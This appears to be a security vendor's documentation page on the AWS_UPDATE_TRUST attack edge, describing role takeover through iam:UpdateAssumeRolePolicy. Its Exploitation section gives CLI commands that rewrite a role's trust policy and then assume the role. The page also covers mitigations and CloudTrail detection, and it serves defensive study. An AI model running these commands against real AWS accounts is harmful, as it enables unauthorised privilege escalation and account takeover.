> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_update_trust.md).

# AWS\_UPDATE\_TRUST

## Summary

|                            |                              |
| -------------------------- | ---------------------------- |
| **Forestall ACL Alias**    | AWS\_UPDATE\_TRUST           |
| **AD Alias**               | N/A                          |
| **Affected Object Types**  | `AWSUser\|AWSRole → AWSRole` |
| **Exploitation Certainty** | High                         |
| **AWS IAM Action**         | `iam:UpdateAssumeRolePolicy` |

## Description

An attacker who holds `iam:UpdateAssumeRolePolicy` on a role in their own account can take it over on its own. They rewrite the trust policy to trust their principal, then assume the role. In the same account the trust grant alone authorizes the assume — no separate `sts:AssumeRole` identity permission is required, because a role's trust policy is a resource-based policy and an in-account resource grant is sufficient.

This is why the standalone action is modeled as a takeover edge, not just a "modify" edge. Rewriting the trust is what lets the attacker become the role. It differs from `AWS_UPDATE_POLICY_AND_ASSUME`, where the attacker changes what the role *can do* (its permission policy) and therefore also needs the ability to assume it.

The two-action cross-account variant (trust rewrite plus an explicit assume grant) is modeled as `AWS_UPDATE_TRUST_AND_ASSUME`.

**Edge semantics:** `(Attacker:AWSUser|AWSRole) -[AWS_UPDATE_TRUST]-> (TargetRole:AWSRole)`

Precondition: same account. The attacker and the target role live in the same AWS account.

## Identification

```bash
# Who can rewrite the trust of a role in this account
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:UpdateAssumeRolePolicy \
  --resource-arns "arn:aws:iam::<account-id>:role/<target-role>"

# Current trust policy of the role
aws iam get-role --role-name <target-role> \
  --query "Role.AssumeRolePolicyDocument"
```

## Exploitation

```bash
# Step 1: Add the attacker to the role's trust policy
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "<attacker-arn>"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Step 2: Assume the role (same-account trust grant is sufficient)
aws sts assume-role \
  --role-arn "arn:aws:iam::<account-id>:role/<target-role>" \
  --role-session-name takeover
```

## Mitigation

* Restrict `iam:UpdateAssumeRolePolicy` to dedicated IAM administrator roles. Deny it for service and application roles.
* Use SCPs to block trust policy changes across the organization or on sensitive roles.
* Apply IAM permission boundaries so a rewritten trust policy cannot exceed the boundary.
* Use AWS IAM Access Analyzer to flag roles whose trust policies changed.

## Detection

| CloudTrail Event         | Description                                 | Key Fields                                                                           |
| ------------------------ | ------------------------------------------- | ------------------------------------------------------------------------------------ |
| `UpdateAssumeRolePolicy` | The trust policy of a role was modified     | `requestParameters.roleName`, `requestParameters.policyDocument`, `userIdentity.arn` |
| `AssumeRole`             | The role was assumed after the trust change | `requestParameters.roleArn`, `userIdentity.arn`                                      |

Alert when `UpdateAssumeRolePolicy` adds a new principal and the same principal calls `AssumeRole` on that role shortly after.

## References

* [AWS IAM: UpdateAssumeRolePolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAssumeRolePolicy.html)
* [AWS: Cross-account resource access and policy evaluation](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)